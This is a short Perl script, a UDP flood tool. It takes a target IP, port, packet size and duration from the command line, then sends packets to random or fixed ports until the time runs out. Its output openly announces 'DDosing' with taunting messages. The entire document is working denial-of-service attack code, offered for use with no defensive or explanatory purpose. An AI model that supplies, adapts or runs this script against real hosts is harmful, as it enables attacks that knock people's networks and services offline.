#!/usr/bin/perl

##############
# yBz Fails at life.
##############

use Socket;
use strict;

my ($ip,$port,$size,$time) = @ARGV;

my ($iaddr,$endtime,$psize,$pport);

$iaddr = inet_aton("$ip") or die "VayPooRs DumpiN";
$endtime = time() + ($time ? $time : 1000000);
socket(flood, PF_INET, SOCK_DGRAM, 17);


print "DDosing... " . ($port ? $port : "Offline... ") . "We Run Trains Over your Modem. " .
($size ? "$size-byte" : "") . " yBz" .
($time ? " for $time seconds" : "") . "\n";
print "Break with Ctrl-C\n" unless $time;

for (;time() <= $endtime;) {
$psize = $size ? $size : int(rand(1024-64)+64) ;
$pport = $port ? $port : int(rand(65500))+1;

send(flood, pack("a$psize","flood"), 0, pack_sockaddr_in($pport, $iaddr));}